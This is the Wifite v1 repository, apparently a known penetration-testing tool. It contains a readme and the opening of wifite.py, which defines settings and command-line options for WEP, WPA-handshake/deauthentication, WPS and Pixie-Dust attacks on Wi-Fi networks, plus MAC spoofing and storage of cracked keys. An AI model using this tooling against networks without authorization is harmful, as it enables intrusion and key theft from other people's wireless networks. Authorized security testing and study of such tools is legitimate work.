├── .gitignore ├── readme.md └── wifite.py /.gitignore: -------------------------------------------------------------------------------- 1 | cracked.csv 2 | *.cap 3 | *.swp 4 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | THIS PROJECT IS IN LIFE-SUPPORT MODE 2 | ------------------------------------ 3 | 4 | This repo tracks the old version of Wifite (*v1*) which does not receive frequent updates and has many bugs (check out the *Isuses* tab!). 5 | 6 | There's a new version of Wifite (*Wifite2*) available at [https://github.com/derv82/wifite2](https://github.com/derv82/wifite2). *Wifite2* has more features, bug fixes, and reliability. 7 | 8 | *Try the new Wifite2, especially if you're having problems with Wifite v1* 9 | 10 | 11 | About 12 | ----- 13 | 14 | _Wifite is for Linux only._ 15 | 16 | Wifite is an automated wireless attack tool. 17 | 18 | Wifite was designed for use with pentesting distributions of Linux, such as [Kali Linux](http://www.kali.org/), [Pentoo](http://www.pentoo.ch/), [BackBox](http://www.backbox.org); any Linux distributions with wireless drivers patched for injection. The script appears to also operate with Ubuntu 11/10, Debian 6, and Fedora 16. 19 | 20 | Wifite must be run as __root__. This is required by the suite of programs it uses. Running downloaded scripts as root is a bad idea. I recommend using the Kali Linux bootable Live CD, a bootable USB stick (for persistent), or a virtual machine. Note that Virtual Machines cannot directly access hardware so a wireless USB dongle would be required. 21 | 22 | Wifite assumes that you have a wireless card and the appropriate drivers that are patched for injection and promiscuous/monitor mode. 23 | 24 | 25 | Execution 26 | --------- 27 | 28 | To download and execute wifite, run the commands below: 29 | 30 | `wget https://raw.github.com/derv82/wifite/master/wifite.py` 31 | `chmod +x wifite.py` 32 | `./wifite.py` 33 | 34 | 35 | Required Programs 36 | ----------------- 37 | 38 | Please see [the installation guide](https://github.com/derv82/wifite/wiki/Installation) on the wiki for help installing any of the tools below. 39 | 40 | * [__Python 2.7.x__](http://python.org/getit/). Wifite is a Python script and requires Python to run. 41 | 42 | * [__aircrack-ng suite__](http://aircrack-ng.org/). 43 | This is absolutely required. The specific programs used in the suite are: 44 | * airmon-ng, 45 | * airodump-ng, 46 | * aireplay-ng, 47 | * packetforge-ng, and 48 | * aircrack-ng. 49 | 50 | * Standard linux programs. 51 | * iwconfig, ifconfig, which, iw 52 | 53 | Suggested Programs 54 | ------------------ 55 | 56 | _`*` indicates program is not included in [Backtrack 5 R1](http://www.backtrack-linux.org/)_ 57 | 58 | * `*`[__reaver__](https://github.com/t6x/reaver-wps-fork-t6x), a Wifi-Protected Setup (WPS) attack tool. Reaver includes a scanner "walsh" (or "wash") for detecting WPS-enabled access points. Wifite uses Reaver to scan for and attack WPS-enabled routers. 59 | 60 | * `*`[__pyrit__](https://github.com/JPaulMora/Pyrit), a GPU cracker for WPA PSK keys. Wifite uses pyrit (if found) to detect handshakes. In the future, Wifite may include an option to crack WPA handshakes via pyrit. 61 | 62 | * __tshark__. Comes bundled with [Wireshark](http://www.wireshark.org/), packet sniffing software. 63 | 64 | * [__cowpatty__](http://www.willhackforsushi.com/Cowpatty.html), a WPA PSK key cracker. Wifite uses cowpatty (if found) to detect handshakes. 65 | 66 | 67 | Licensing 68 | --------- 69 | 70 | Wifite is licensed under the GNU General Public License version 2 (GNU GPL v2). 71 | 72 | (C) 2010-2012 Derv Merkler 73 | -------------------------------------------------------------------------------- /wifite.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # -*- coding: utf-8 -*- 4 | 5 | """ 6 | wifite 7 | 8 | author: derv82 at gmail 9 | author: bwall @botnet_hunter (ballastsec@gmail.com) 10 | author: drone @dronesec (ballastsec@gmail.com) 11 | 12 | Thanks to everyone that contributed to this project. 13 | If you helped in the past and want your name here, shoot me an email 14 | 15 | Licensed under the GNU General Public License Version 2 (GNU GPL v2), 16 | available at: http://www.gnu.org/licenses/gpl-2.0.txt 17 | 18 | (C) 2011 Derv Merkler 19 | 20 | Ballast Security additions 21 | ----------------- 22 | - No longer requires to be root to run -cracked 23 | - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s) 24 | - Backwards compatibility 25 | - Made a run configuration class to handle globals 26 | - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them) 27 | - Changed the updater to grab files from GitHub and not Google Code 28 | - Use argparse to parse command-line arguments 29 | - -wepca flag now properly initialized if passed through CLI 30 | - parse_csv uses python csv library 31 | ----------------- 32 | 33 | 34 | TODO: 35 | 36 | Restore same command-line switch names from v1 37 | 38 | If device already in monitor mode, check for and, if applicable, use macchanger 39 | 40 | WPS 41 | * Mention reaver automatically resumes sessions 42 | * Warning about length of time required for WPS attack (*hours*) 43 | * Show time since last successful attempt 44 | * Percentage of tries/attempts ? 45 | * Update code to work with reaver 1.4 ("x" sec/att) 46 | 47 | WEP: 48 | * ability to pause/skip/continue (done, not tested) 49 | * Option to capture only IVS packets (uses --output-format ivs,csv) 50 | - not compatible on older aircrack-ng's. 51 | - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works 52 | - would cut down on size of saved .caps 53 | 54 | reaver: 55 | MONITOR ACTIVITY! 56 | - Enter ESSID when executing (?) 57 | - Ensure WPS key attempts have begun. 58 | - If no attempts can be made, stop attack 59 | 60 | - During attack, if no attempts are made within X minutes, stop attack & Print 61 | 62 | - Reaver's output when unable to associate: 63 | [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF) 64 | - If failed to associate for x minutes, stop attack (same as no attempts?) 65 | 66 | MIGHTDO: 67 | * WPA - crack (pyrit/cowpatty) (not really important) 68 | * Test injection at startup? (skippable via command-line switch) 69 | 70 | """ 71 | 72 | # ############ 73 | # LIBRARIES # 74 | ############# 75 | 76 | import csv # Exporting and importing cracked aps 77 | import os # File management 78 | import time # Measuring attack intervals 79 | import random # Generating a random MAC address. 80 | import errno # Error numbers 81 | 82 | from sys import argv # Command-line arguments 83 | from sys import stdout # Flushing 84 | 85 | from shutil import copy # Copying .cap files 86 | 87 | # Executing, communicating with, killing processes 88 | from subprocess import Popen, call, PIPE 89 | from signal import SIGINT, SIGTERM 90 | 91 | import re # RegEx, Converting SSID to filename 92 | import argparse # arg parsing 93 | import urllib # Check for new versions from the repo 94 | import abc # abstract base class libraries for attack templates 95 | 96 | 97 | ################################ 98 | # GLOBAL VARIABLES IN ALL CAPS # 99 | ################################ 100 | 101 | # Console colors 102 | W = '\033[0m' # white (normal) 103 | R = '\033[31m' # red 104 | G = '\033[32m' # green 105 | O = '\033[33m' # orange 106 | B = '\033[34m' # blue 107 | P = '\033[35m' # purple 108 | C = '\033[36m' # cyan 109 | GR = '\033[37m' # gray 110 | 111 | # /dev/null, send output from programs so they don't print to screen. 112 | DN = open(os.devnull, 'w') 113 | ERRLOG = open(os.devnull, 'w') 114 | OUTLOG = open(os.devnull, 'w') 115 | 116 | ################### 117 | # DATA STRUCTURES # 118 | ################### 119 | 120 | 121 | class CapFile: 122 | """ 123 | Holds data about an access point's .cap file, including AP's ESSID & BSSID. 124 | """ 125 | 126 | def __init__(self, filename, ssid, bssid): 127 | self.filename = filename 128 | self.ssid = ssid 129 | self.bssid = bssid 130 | 131 | 132 | class Target: 133 | """ 134 | Holds data for a Target (aka Access Point aka Router) 135 | """ 136 | 137 | def __init__(self, bssid, power, data, channel, encryption, ssid): 138 | self.bssid = bssid 139 | self.power = power 140 | self.data = data 141 | self.channel = channel 142 | self.encryption = encryption 143 | self.ssid = ssid 144 | self.wps = False # Default to non-WPS-enabled router. 145 | self.key = '' 146 | 147 | 148 | class Client: 149 | """ 150 | Holds data for a Client (device connected to Access Point/Router) 151 | """ 152 | 153 | def __init__(self, bssid, station, power): 154 | self.bssid = bssid 155 | self.station = station 156 | self.power = power 157 | 158 | 159 | class RunConfiguration: 160 | """ 161 | Configuration for this rounds of attacks 162 | """ 163 | 164 | def __init__(self): 165 | self.REVISION = 89; 166 | self.PRINTED_SCANNING = False 167 | 168 | self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power 169 | 170 | # WPA variables 171 | self.WPA_DISABLE = False # Flag to skip WPA handshake capture 172 | self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake 173 | self.WPA_DEAUTH_COUNT = 1 # Count to send deauthentication packets 174 | self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds) 175 | self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds) 176 | self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored 177 | # Strip file path separator if needed 178 | if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep: 179 | self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1] 180 | 181 | self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks 182 | self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes 183 | if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'): 184 | self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt' 185 | elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'): 186 | self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt' 187 | elif os.path.exists('/usr/share/wordlists/fern-wifi/common.txt'): 188 | self.WPA_DICTIONARY = '/usr/share/wordlists/fern-wifi/common.txt' 189 | else: 190 | self.WPA_DICTIONARY = '' 191 | 192 | # Various programs to use when checking for a four-way handshake. 193 | # True means the program must find a valid handshake in order for wifite to recognize a handshake. 194 | # Not finding handshake short circuits result (ALL 'True' programs must find handshake) 195 | self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th) 196 | self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate. 197 | self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast. 198 | self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2) 199 | 200 | # WEP variables 201 | self.WEP_DISABLE = False # Flag for ignoring WEP networks 202 | self.WEP_PPS = 600 # packets per second (Tx rate) 203 | self.WEP_TIMEOUT = 600 # Amount of time to give each attack 204 | self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng 205 | self.WEP_CHOPCHOP = True # 206 | self.WEP_FRAGMENT = True # 207 | self.WEP_CAFFELATTE = True # 208 | self.WEP_P0841 = True 209 | self.WEP_HIRTE = True 210 | self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking 211 | self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure 212 | self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks. 213 | self.WEP_SAVE = False # Save packets. 214 | 215 | # WPS variables 216 | self.WPS_DISABLE = False # Flag to skip WPS scan and attacks 217 | self.PIXIE = False 218 | self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks 219 | self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt 220 | self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0) 221 | self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely. 222 | 223 | 224 | # Program variables 225 | self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack 226 | self.WIRELESS_IFACE = '' # User-defined interface 227 | self.MONITOR_IFACE = '' # User-defined interface already in monitor mode 228 | self.TARGET_CHANNEL = 0 # User-defined channel to scan on 229 | self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack 230 | self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack 231 | self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode 232 | # It's our job to put it out of monitor mode after the attacks 233 | self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing) 234 | self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer 235 | self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points 236 | self.TARGETS_REMAINING = 0 # Number of access points remaining to attack 237 | self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects) 238 | self.THIS_MAC = '' # The interfaces current MAC address. 239 | self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets 240 | self.CRACKED_TARGETS = [] # List of targets we have already cracked 241 | self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone* 242 | self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target 243 | self.VERBOSE_APS = True # Print access points as they appear 244 | self.CRACKED_TARGETS = self.load_cracked() 245 | old_cracked = self.load_old_cracked() 246 | if len(old_cracked) > 0: 247 | # Merge the results 248 | for OC in old_cracked: 249 | new = True 250 | for NC in self.CRACKED_TARGETS: 251 | if OC.bssid == NC.bssid: 252 | new = False 253 | break 254 | # If Target isn't in the other list 255 | # Add and save to disk 256 | if new: 257 | self.save_cracked(OC) 258 | 259 | def ConfirmRunningAsRoot(self): 260 | if os.getuid() != 0: 261 | print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W 262 | print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W 263 | exit(1) 264 | 265 | def ConfirmCorrectPlatform(self): 266 | if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not? 267 | print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W 268 | exit(1) 269 | 270 | def CreateTempFolder(self): 271 | from tempfile import mkdtemp 272 | 273 | self.temp = mkdtemp(prefix='wifite') 274 | if not self.temp.endswith(os.sep): 275 | self.temp += os.sep 276 | 277 | def save_cracked(self, target): 278 | """ 279 | Saves cracked access point key and info to a file. 280 | """ 281 | self.CRACKED_TARGETS.append(target) 282 | with open('cracked.csv', 'wb') as csvfile: 283 | targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) 284 | for target in self.CRACKED_TARGETS: 285 | targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps]) 286 | 287 | def load_cracked(self): 288 | """ 289 | Loads info about cracked access points into list, returns list. 290 | """ 291 | result = [] 292 | if not os.path.exists('cracked.csv'): return result 293 | with open('cracked.csv', 'rb') as csvfile: 294 | targetreader = csv.reader(csvfile, delimiter=',', quotechar='"') 295 | for row in targetreader: 296 | t = Target(row[0], 0, 0, 0, row[1], row[2]) 297 | t.key = row[3] 298 | t.wps = row[4] 299 | result.append(t) 300 | return result 301 | 302 | def load_old_cracked(self): 303 | """ 304 | Loads info about cracked access points into list, returns list. 305 | """ 306 | result = [] 307 | if not os.path.exists('cracked.txt'): 308 | return result 309 | fin = open('cracked.txt', 'r') 310 | lines = fin.read().split('\n') 311 | fin.close() 312 | 313 | for line in lines: 314 | fields = line.split(chr(0)) 315 | if len(fields) <= 3: 316 | continue 317 | tar = Target(fields[0], '', '', '', fields[3], fields[1]) 318 | tar.key = fields[2] 319 | result.append(tar) 320 | return result 321 | 322 | def exit_gracefully(self, code=0): 323 | """ 324 | We may exit the program at any time. 325 | We want to remove the temp folder and any files contained within it. 326 | Removes the temp files/folder and exists with error code "code". 327 | """ 328 | # Remove temp files and folder 329 | if os.path.exists(self.temp): 330 | for f in os.listdir(self.temp): 331 | os.remove(os.path.join(self.temp, f)) 332 | os.rmdir(self.temp) 333 | # Disable monitor mode if enabled by us 334 | self.RUN_ENGINE.disable_monitor_mode() 335 | # Change MAC address back if spoofed 336 | mac_change_back() 337 | print GR + " [+]" + W + " quitting" # wifite will now exit" 338 | print '' 339 | # GTFO 340 | exit(code) 341 | 342 | def handle_args(self): 343 | """ 344 | Handles command-line arguments, sets global variables. 345 | """ 346 | set_encrypt = False 347 | set_hscheck = False 348 | set_wep = False 349 | capfile = '' # Filename of .cap file to analyze for handshakes 350 | 351 | opt_parser = self.build_opt_parser() 352 | options = opt_parser.parse_args() 353 | 354 | try: 355 | if not set_encrypt and (options.wpa or options.wep or options.wps): 356 | self.WPS_DISABLE = True 357 | self.WPA_DISABLE = True 358 | self.WEP_DISABLE = True 359 | set_encrypt = True 360 | if options.recrack: 361 | self.SHOW_ALREADY_CRACKED = True 362 | print GR + ' [+]' + W + ' including already cracked networks in targets.' 363 | if options.wpa: 364 | if options.wps: 365 | print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.' 366 | else: 367 | print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)' 368 | self.WPA_DISABLE = False 369 | if options.wep: 370 | print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks' 371 | self.WEP_DISABLE = False 372 | if options.wps: 373 | print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.' 374 | self.WPS_DISABLE = False 375 | if options.pixie: 376 | print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.' 377 | print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.' 378 | self.WPS_DISABLE = False 379 | self.WEP_DISABLE = True 380 | self.PIXIE = True 381 | if options.channel: 382 | try: 383 | self.TARGET_CHANNEL = int(options.channel) 384 | except ValueError: 385 | print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W 386 | except IndexError: 387 | print O + ' [!]' + R + ' no channel given!' + W 388 | else: 389 | print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W) 390 | if options.mac_anon: 391 | print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W 392 | print O + ' not: only works if device is not already in monitor mode!' + W 393 | self.DO_NOT_CHANGE_MAC = False 394 | if options.interface: 395 | self.WIRELESS_IFACE = options.interface 396 | print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W) 397 | if options.monitor_interface: 398 | self.MONITOR_IFACE = options.monitor_interface 399 | print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W) 400 | if options.nodeauth: 401 | self.SEND_DEAUTHS = False 402 | print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W 403 | if options.essid: 404 | try: 405 | self.TARGET_ESSID = options.essid 406 | except ValueError: 407 | print R + ' [!]' + O + ' no ESSID given!' + W 408 | else: 409 | print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W) 410 | if options.bssid: 411 | try: 412 | self.TARGET_BSSID = options.bssid 413 | except ValueError: 414 | print R + ' [!]' + O + ' no BSSID given!' + W 415 | else: 416 | print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W) 417 | if options.showb: 418 | self.SHOW_MAC_IN_SCAN = True 419 | print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W 420 | if options.all: 421 | self.ATTACK_ALL_TARGETS = True 422 | print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W 423 | if options.power: 424 | try: 425 | self.ATTACK_MIN_POWER = int(options.power) 426 | except ValueError: 427 | print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W) 428 | except IndexError: 429 | print R + ' [!]' + O + ' no power level given!' + W 430 | else: 431 | print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W) 432 | if options.tx: 433 | try: 434 | self.TX_POWER = int(options.tx) 435 | except ValueError: 436 | print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W) 437 | except IndexError: 438 | print R + ' [!]' + O + ' no TX power level given!' + W 439 | else: 440 | print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W) 441 | if options.quiet: 442 | self.VERBOSE_APS = False 443 | print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W 444 | if options.check: 445 | try: 446 | capfile = options.check 447 | except IndexError: 448 | print R + ' [!]' + O + ' unable to analyze capture file' + W 449 | print R + ' [!]' + O + ' no cap file given!\n' + W 450 | self.exit_gracefully(1) 451 | else: 452 | if not os.path.exists(capfile): 453 | print R + ' [!]' + O + ' unable to analyze capture file!' + W 454 | print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W 455 | self.exit_gracefully(1) 456 | if options.cracked: 457 | if len(self.CRACKED_TARGETS) == 0: 458 | print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W 459 | self.exit_gracefully(1) 460 | print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':' 461 | for victim in self.CRACKED_TARGETS: 462 | if victim.wps != False: 463 | print ' %s (%s) : "%s" - Pin: %s' % ( 464 | C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W) 465 | else: 466 | print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W) 467 | print '' 468 | self.exit_gracefully(0) 469 | # WPA 470 | if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit): 471 | self.WPA_HANDSHAKE_TSHARK = False 472 | self.WPA_HANDSHAKE_PYRIT = False 473 | self.WPA_HANDSHAKE_COWPATTY = False 474 | self.WPA_HANDSHAKE_AIRCRACK = False 475 | set_hscheck = True 476 | if options.strip: 477 | self.WPA_STRIP_HANDSHAKE = True 478 | print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W 479 | if options.wpadt: 480 | try: 481 | self.WPA_DEAUTH_TIMEOUT = int(options.wpadt) 482 | except ValueError: 483 | print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W) 484 | except IndexError: 485 | print R + ' [!]' + O + ' no deauth timeout given!' + W 486 | else: 487 | print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W) 488 | if options.wpat: 489 | try: 490 | self.WPA_ATTACK_TIMEOUT = int(options.wpat) 491 | except ValueError: 492 | print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W) 493 | except IndexError: 494 | print R + ' [!]' + O + ' no attack timeout given!' + W 495 | else: 496 | print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W) 497 | if options.crack: 498 | self.WPA_DONT_CRACK = False 499 | print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W 500 | if options.dic: 501 | try: 502 | self.WPA_DICTIONARY = options.dic 503 | except IndexError: 504 | print R + ' [!]' + O + ' no WPA dictionary given!' 505 | else: 506 | if os.path.exists(options.dic): 507 | print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W) 508 | else: 509 | print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic) 510 | else: 511 | print R + ' [!]' + O + ' WPA dictionary file not given!' 512 | self.exit_gracefully(1) 513 | if options.tshark: 514 | self.WPA_HANDSHAKE_TSHARK = True 515 | print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W 516 | if options.pyrit: 517 | self.WPA_HANDSHAKE_PYRIT = True 518 | print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W 519 | if options.aircrack: 520 | self.WPA_HANDSHAKE_AIRCRACK = True 521 | print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W 522 | if options.cowpatty: 523 | self.WPA_HANDSHAKE_COWPATTY = True 524 | print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W 525 | 526 | # WEP 527 | if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \ 528 | or options.p0841 or options.hirte: 529 | self.WEP_CHOPCHOP = False 530 | self.WEP_ARPREPLAY = False 531 | self.WEP_CAFFELATTE = False 532 | self.WEP_FRAGMENT = False 533 | self.WEP_P0841 = False 534 | self.WEP_HIRTE = False 535 | if options.chopchop: 536 | print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W 537 | self.WEP_CHOPCHOP = True 538 | if options.fragment: 539 | print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W 540 | self.WEP_FRAGMENT = True 541 | if options.caffeelatte: 542 | print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W 543 | self.WEP_CAFFELATTE = True 544 | if options.arpreplay: 545 | print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W 546 | self.WEP_ARPREPLAY = True 547 | if options.p0841: 548 | print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W 549 | self.WEP_P0841 = True 550 | if options.hirte: 551 | print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W 552 | self.WEP_HIRTE = True 553 | if options.fakeauth: 554 | print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W 555 | self.WEP_IGNORE_FAKEAUTH = False 556 | if options.wepca: 557 | try: 558 | self.WEP_CRACK_AT_IVS = int(options.wepca) 559 | except ValueError: 560 | print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W ) 561 | except IndexError: 562 | print R + ' [!]' + O + ' no IV number specified!' + W 563 | else: 564 | print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % ( 565 | G + str(self.WEP_CRACK_AT_IVS) + W) 566 | if options.wept: 567 | try: 568 | self.WEP_TIMEOUT = int(options.wept) 569 | except ValueError: 570 | print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W) 571 | except IndexError: 572 | print R + ' [!]' + O + ' no timeout given!' + W 573 | else: 574 | print GR + ' [+]' + W + ' WEP attack timeout set to %s' % ( 575 | G + str(self.WEP_TIMEOUT) + " seconds" + W) 576 | if options.pps: 577 | try: 578 | self.WEP_PPS = int(options.pps) 579 | except ValueError: 580 | print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W) 581 | except IndexError: 582 | print R + ' [!]' + O + ' no value given!' + W 583 | else: 584 | print GR + ' [+]' + W + ' packets-per-second rate set to %s' % ( 585 | G + str(options.pps) + " packets/sec" + W) 586 | if options.wepsave: 587 | self.WEP_SAVE = True 588 | print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W 589 | 590 | # WPS 591 | if options.wpst: 592 | try: 593 | self.WPS_TIMEOUT = int(options.wpst) 594 | except ValueError: 595 | print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W) 596 | except IndexError: 597 | print R + ' [!]' + O + ' no timeout given!' + W 598 | else: 599 | print GR + ' [+]' + W + ' WPS attack timeout set to %s' % ( 600 | G + str(self.WPS_TIMEOUT) + " seconds" + W) 601 | if options.wpsratio: 602 | try: 603 | self.WPS_RATIO_THRESHOLD = float(options.wpsratio) 604 | except ValueError: 605 | print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W) 606 | except IndexError: 607 | print R + ' [!]' + O + ' no ratio given!' + W 608 | else: 609 | print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % ( 610 | G + str(self.WPS_RATIO_THRESHOLD) + "" + W) 611 | if options.wpsretry: 612 | try: 613 | self.WPS_MAX_RETRIES = int(options.wpsretry) 614 | except ValueError: 615 | print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W) 616 | except IndexError: 617 | print R + ' [!]' + O + ' no number given!' + W 618 | else: 619 | print GR + ' [+]' + W + ' WPS maximum retries set to %s' % ( 620 | G + str(self.WPS_MAX_RETRIES) + " retries" + W) 621 | 622 | except IndexError: 623 | print '\nindexerror\n\n' 624 | 625 | if capfile != '': 626 | self.RUN_ENGINE.analyze_capfile(capfile) 627 | print '' 628 | 629 | def build_opt_parser(self): 630 | """ Options are doubled for backwards compatability; will be removed soon and 631 | fully moved to GNU-style 632 | """ 633 | option_parser = argparse.ArgumentParser() 634 | 635 | # set commands 636 | command_group = option_parser.add_argument_group('COMMAND') 637 | command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check') 638 | command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS) 639 | command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true', 640 | dest='cracked') 641 | command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked') 642 | command_group.add_argument('--recrack', help='Include already cracked networks in targets.', 643 | action='store_true', dest='recrack') 644 | command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack') 645 | 646 | # set global 647 | global_group = option_parser.add_argument_group('GLOBAL') 648 | global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all') 649 | global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all') 650 | global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface') 651 | global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False, 652 | dest='mac_anon') 653 | global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon') 654 | global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store', 655 | dest='monitor_interface') 656 | global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel') 657 | global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store', 658 | dest='essid') 659 | global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store', 660 | dest='bssid') 661 | global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true', 662 | dest='showb') 663 | global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb') 664 | 